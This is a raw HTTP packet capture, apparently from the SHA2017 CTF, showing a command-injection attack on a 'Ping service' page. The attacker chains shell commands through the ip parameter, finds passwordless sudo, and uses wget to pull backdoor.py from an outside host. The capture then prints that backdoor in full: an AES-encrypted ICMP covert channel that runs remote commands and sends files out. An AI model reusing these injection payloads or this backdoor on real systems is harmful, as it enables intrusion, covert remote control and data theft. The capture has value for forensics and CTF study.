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1.html
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GET / HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
0
GET /css/style.css HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.29.0.1/
Connection: keep-alive
If-Modified-Since: Wed, 26 Jul 2017 16:37:11 GMT
If-None-Match: "5978c537-2314"
HTTP/1.1 304 Not Modified
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:42:41 GMT
Last-Modified: Wed, 26 Jul 2017 16:37:11 GMT
Connection: keep-alive
ETag: "5978c537-2314"
GET /?ip=google.com HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.29.0.1/
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:42:48 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
660
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>Ping service 0.1</title>
<meta name="description" content="Ping service 0.1">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<header class="o-header">
<div class="o-container">
<h1 class="o-header__title">Ping service 0.1</h1>
</div>
</header>
<main class="o-main">
<div class="o-container">
<div class="o-section">
<div id="tabs" class="c-tabs no-js">
<div class="c-tabs-nav">
<a href="#" class="c-tabs-nav__link is-active">
<span>Ping System</span>
</a>
</div>
<div class="c-tab">
<div class="c-tab__content">
<h2>Ping system</h2>
<p>
<pre>PING google.com (172.217.17.110) 56(84) bytes of data.
64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=1 ttl=55 time=9.12 ms
64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=2 ttl=55 time=8.86 ms
64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=3 ttl=55 time=10.3 ms
64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=4 ttl=55 time=8.06 ms
--- google.com ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 8.062/9.094/10.332/0.819 ms
</pre> </p>
</div>
</div>
</div>
</div>
</div>
</main>
<footer class="o-footer">
<div class="o-container">
<small>© 2017, SHA2017 CTF</small>
</div>
</footer>
</body>
</html>
0
GET /?ip=google.com;ls HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:42:55 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
66a
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>Ping service 0.1</title>
<meta name="description" content="Ping service 0.1">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<header class="o-header">
<div class="o-container">
<h1 class="o-header__title">Ping service 0.1</h1>
</div>
</header>
<main class="o-main">
<div class="o-container">
<div class="o-section">
<div id="tabs" class="c-tabs no-js">
<div class="c-tabs-nav">
<a href="#" class="c-tabs-nav__link is-active">
<span>Ping System</span>
</a>
</div>
<div class="c-tab">
<div class="c-tab__content">
<h2>Ping system</h2>
<p>
<pre>PING google.com (172.217.17.110) 56(84) bytes of data.
64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=1 ttl=55 time=8.66 ms
64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=2 ttl=55 time=9.44 ms
64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=3 ttl=55 time=10.0 ms
64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=4 ttl=55 time=8.44 ms
--- google.com ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 8.445/9.153/10.057/0.639 ms
css
index.php
</pre> </p>
</div>
</div>
</div>
</div>
</div>
</main>
<footer class="o-footer">
<div class="o-container">
<small>© 2017, SHA2017 CTF</small>
</div>
</footer>
</body>
</html>
0
GET /?ip=;ls%20-la HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:43:03 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
50b
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>Ping service 0.1</title>
<meta name="description" content="Ping service 0.1">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<header class="o-header">
<div class="o-container">
<h1 class="o-header__title">Ping service 0.1</h1>
</div>
</header>
<main class="o-main">
<div class="o-container">
<div class="o-section">
<div id="tabs" class="c-tabs no-js">
<div class="c-tabs-nav">
<a href="#" class="c-tabs-nav__link is-active">
<span>Ping System</span>
</a>
</div>
<div class="c-tab">
<div class="c-tab__content">
<h2>Ping system</h2>
<p>
<pre>total 16
drwxr-xr-x 3 root root 4096 Jul 26 09:36 .
drwxr-xr-x 3 root root 4096 Jul 26 03:45 ..
drwxr-x--- 2 www-data www-data 4096 Jul 26 09:37 css
-rwxr-xr-x 1 www-data www-data 1664 Jul 26 04:46 index.php
</pre> </p>
</div>
</div>
</div>
</div>
</div>
</main>
<footer class="o-footer">
<div class="o-container">
<small>© 2017, SHA2017 CTF</small>
</div>
</footer>
</body>
</html>
0
GET /?ip=;id HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:43:11 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
461
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>Ping service 0.1</title>
<meta name="description" content="Ping service 0.1">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<header class="o-header">
<div class="o-container">
<h1 class="o-header__title">Ping service 0.1</h1>
</div>
</header>
<main class="o-main">
<div class="o-container">
<div class="o-section">
<div id="tabs" class="c-tabs no-js">
<div class="c-tabs-nav">
<a href="#" class="c-tabs-nav__link is-active">
<span>Ping System</span>
</a>
</div>
<div class="c-tab">
<div class="c-tab__content">
<h2>Ping system</h2>
<p>
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre> </p>
</div>
</div>
</div>
</div>
</div>
</main>
<footer class="o-footer">
<div class="o-container">
<small>© 2017, SHA2017 CTF</small>
</div>
</footer>
</body>
</html>
0
GET /?ip=;sudo%20-l HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:43:16 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
52a
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>Ping service 0.1</title>
<meta name="description" content="Ping service 0.1">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<header class="o-header">
<div class="o-container">
<h1 class="o-header__title">Ping service 0.1</h1>
</div>
</header>
<main class="o-main">
<div class="o-container">
<div class="o-section">
<div id="tabs" class="c-tabs no-js">
<div class="c-tabs-nav">
<a href="#" class="c-tabs-nav__link is-active">
<span>Ping System</span>
</a>
</div>
<div class="c-tab">
<div class="c-tab__content">
<h2>Ping system</h2>
<p>
<pre>Matching Defaults entries for www-data on router:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on router:
(ALL : ALL) NOPASSWD: ALL
</pre> </p>
</div>
</div>
</div>
</div>
</div>
</main>
<footer class="o-footer">
<div class="o-container">
<small>© 2017, SHA2017 CTF</small>
</div>
</footer>
</body>
</html>
0
GET /css/style.css HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.29.0.1/?ip=;sudo%20-l
Connection: keep-alive
If-Modified-Since: Wed, 26 Jul 2017 16:37:11 GMT
If-None-Match: "5978c537-2314"
HTTP/1.1 304 Not Modified
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:43:16 GMT
Last-Modified: Wed, 26 Jul 2017 16:37:11 GMT
Connection: keep-alive
ETag: "5978c537-2314"
GET /?ip=%3Bwget%20http://10.5.5.207/backdoor.py%20-O%20/tmp/backdoor.py HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:43:36 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
592
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>Ping service 0.1</title>
<meta name="description" content="Ping service 0.1">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<header class="o-header">
<div class="o-container">
<h1 class="o-header__title">Ping service 0.1</h1>
</div>
</header>
<main class="o-main">
<div class="o-container">
<div class="o-section">
<div id="tabs" class="c-tabs no-js">
<div class="c-tabs-nav">
<a href="#" class="c-tabs-nav__link is-active">
<span>Ping System</span>
</a>
</div>
<div class="c-tab">
<div class="c-tab__content">
<h2>Ping system</h2>
<p>
<pre>--2017-07-26 09:43:36-- http://10.5.5.207/backdoor.py
Connecting to 10.5.5.207:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2428 (2.4K) [text/x-python]
Saving to: '/tmp/backdoor.py'
0K .. 100% 458M=0s
2017-07-26 09:43:36 (458 MB/s) - '/tmp/backdoor.py' saved [2428/2428]
</pre> </p>
</div>
</div>
</div>
</div>
</div>
</main>
<footer class="o-footer">
<div class="o-container">
<small>© 2017, SHA2017 CTF</small>
</div>
</footer>
</body>
</html>
0
GET /?ip=%3Bcat%20/tmp/backdoor.py HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:43:47 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
da7
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>Ping service 0.1</title>
<meta name="description" content="Ping service 0.1">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<header class="o-header">
<div class="o-container">
<h1 class="o-header__title">Ping service 0.1</h1>
</div>
</header>
<main class="o-main">
<div class="o-container">
<div class="o-section">
<div id="tabs" class="c-tabs no-js">
<div class="c-tabs-nav">
<a href="#" class="c-tabs-nav__link is-active">
<span>Ping System</span>
</a>
</div>
<div class="c-tab">
<div class="c-tab__content">
<h2>Ping system</h2>
<p>
<pre>#!/usr/bin/env python
import base64
import sys
import time
import subprocess
import threading
from Crypto import Random
from Crypto.Cipher import AES
from scapy.all import *
BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]
magic = "SHA2017"
class AESCipher:
def __init__( self, key ):
self.key = key
def encrypt( self, raw ):
raw = pad(raw)
iv = Random.new().read( AES.block_size )
cipher = AES.new( self.key, AES.MODE_CBC, iv )
return base64.b64encode( iv + cipher.encrypt( raw ) )
def decrypt( self, enc ):
enc = base64.b64decode(enc)
iv = enc[:16]
cipher = AES.new(self.key, AES.MODE_CBC, iv )
return unpad(cipher.decrypt( enc[16:] ))
def run_command(cmd):
ps = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
output = ps.communicate()[0]
return output
def send_ping(host, magic, data):
data = cipher.encrypt(data)
load = "{}:{}".format(magic, data)
time.sleep(1)
sr(IP(dst=host)/ICMP()/load, timeout=1, verbose=0)
def chunks(L, n):
for i in xrange(0, len(L), n):
yield L[i:i+n]
def get_file(host, magic, fn):
time.sleep(1)
data = base64.urlsafe_b64encode(open(fn, "rb").read())
cnt = 0
icmp_threads = []
for line in chunks(data, 500):
t = threading.Thread(target = send_ping, args = (host,magic, "getfile:{}:{}".format(cnt,line)))
t.daemon = True
t.start()
icmp_threads.append(t)
cnt += 1
for t in icmp_threads:
t.join()
cipher = AESCipher(sys.argv[1])
while True:
try:
pkts = sniff(filter="icmp", timeout =5,count=1)
for packet in pkts:
if str(packet.getlayer(ICMP).type) == "8":
input = packet[IP].load
if input[0:len(magic)] == magic:
input = input.split(":")
data = cipher.decrypt(input[1]).split(":")
ip = packet[IP].src
if data[0] == "command":
output = run_command(data[1])
send_ping(ip, magic, "command:{}".format(output))
if data[0] == "getfile":
#print "[+] Sending file {}".format(data[1])
get_file(ip, magic, data[1])
except:
pass
</pre> </p>
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